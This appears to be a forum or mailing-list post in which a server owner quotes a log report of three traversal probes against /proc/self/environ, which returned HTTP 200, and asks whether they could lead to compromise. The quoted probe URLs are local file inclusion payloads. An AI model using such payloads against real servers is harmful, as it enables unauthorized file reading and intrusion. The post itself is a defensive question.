Still running my semi-crippled 2011 install - haven't had a chance to do
anything about that, yet.... :-)
A total of 3 possible successful probes were detected (the following URLs
contain strings that match one or more of a listing of strings that
/?file=../../../../../../proc/self/environ%00 HTTP Response 200
/?mod=../../../../../../proc/self/environ%00 HTTP Response 200
/?page=../../../../../../proc/self/environ%00 HTTP Response 200
That's all it says, so I'm not sure what the reset of the URL was.
Question is, is the above anything I need to worry about? Is there
going to be any information that they could get from the above that
might allow them to compromise my machine?

As a followup, I checked the access log for Apache and found the

From the 404s at the end, it looks like whatever they were trying to do
at that point failed. But I'm still a bit concerned about the 3 200s
leading up to it. So the question stands: Is there anything there that
someone could use to compromise the system?
